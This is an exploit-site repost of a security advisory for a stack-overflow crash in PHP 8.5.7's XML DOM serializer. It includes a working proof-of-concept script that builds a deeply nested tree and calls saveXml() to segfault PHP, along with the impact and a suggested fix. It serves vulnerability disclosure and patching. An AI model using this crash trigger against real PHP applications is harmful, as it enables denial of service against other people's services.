Share
## https://sploitus.com/exploit?id=PACKETSTORM:223962
# PHP 8.5.7 `dom_xml_serialization_algorithm()` stack-overflow
    
    **Author:** Khashayar Fereidani
    **Disclosure Date:** 2026-06-18
    **Advisory:** https://fereidani.com/php-857-domxmlserializationalgorithm-stack-overflow
    **Contact:** https://fereidani.com/contact
    
    ## Description
    
    The `dom_xml_serialization_algorithm()` and
    `dom_xml_serialize_element_node()` functions in
    `ext/dom/xml_serializer.c` rely on unbounded recursion to serialize
    XML nodes. When serializing a deeply nested XML tree, the continuous
    recursive calls exhaust the thread's stack space, causing a
    segmentation fault (SIGSEGV). This issue can be triggered via
    `Dom\XMLDocument::saveXml()` or by accessing the `$innerHTML` /
    `$outerHTML` properties of `Dom\XMLDocument` elements. Note that
    `Dom\HTMLDocument` uses an iterative approach and is unaffected.
    
    ## Proof of concept
    
    ```php
    <?php
    // A stack overflow occurs due to unbounded recursion in
    // dom_xml_serialization_algorithm() and dom_xml_serialize_element_node()
    // within ext/dom/xml_serializer.c (introduced in PHP 8.4/8.5).
    // The file's own TODO at line 41 notes:
    // "TODO: implement iterative approach instead of recursive?".
    //
    // Under the default 8MB thread stack, serializing a deeply nested XML
    // tree crashes PHP with a SIGSEGV (139). Running with `ulimit -s unlimited`
    // prevents the crash, proving it is stack exhaustion rather than a logic bug.
    //
    // The vulnerability is reachable via Dom\XMLDocument::saveXml()
    // and the $innerHTML / $outerHTML properties of Dom\XMLDocument elements.
    // Note that Dom\HTMLDocument is unaffected, as its HTML5 serializer
    // (dom_html5_serialize_node) is iterative.
    
    $document = Dom\XMLDocument::createEmpty();
    $root = $document->createElement('root');
    $document->appendChild($root);
    
    $current = $root;
    
    // This loop creates a deeply nested tree.
    // It crashes under the default stack limit but succeeds with `ulimit
    -s unlimited`.
    for ($i = 0; $i < 25000; $i++) {
        $element = $document->createElement('e');
        $current->appendChild($element);
        $current = $element;
    }
    
    // This line is never reached under the default stack limit.
    var_dump(strlen(@$document->saveXml()));
    ```
    
    Running the script results in:
    
    ```bash
    Segmentation fault         (core dumped) php poc.php
    ```
    
    ## Impact
    
    An attacker could cause a Denial of Service (DoS) by providing a
    maliciously crafted, deeply nested XML document. If the application
    processes and attempts to serialize this untrusted structure, the PHP
    process will abruptly crash due to stack exhaustion.
    
    ## Solution
    
    Refactor the serialization algorithm in `ext/dom/xml_serializer.c` to
    use an iterative approach rather than unbounded recursion. A `TODO`
    comment already exists in the file at line 41 ("TODO: implement
    iterative approach instead of recursive?"). Alternatively, enforcing a
    hard limit on DOM nesting depth during creation and parsing could
    mitigate the exploitability.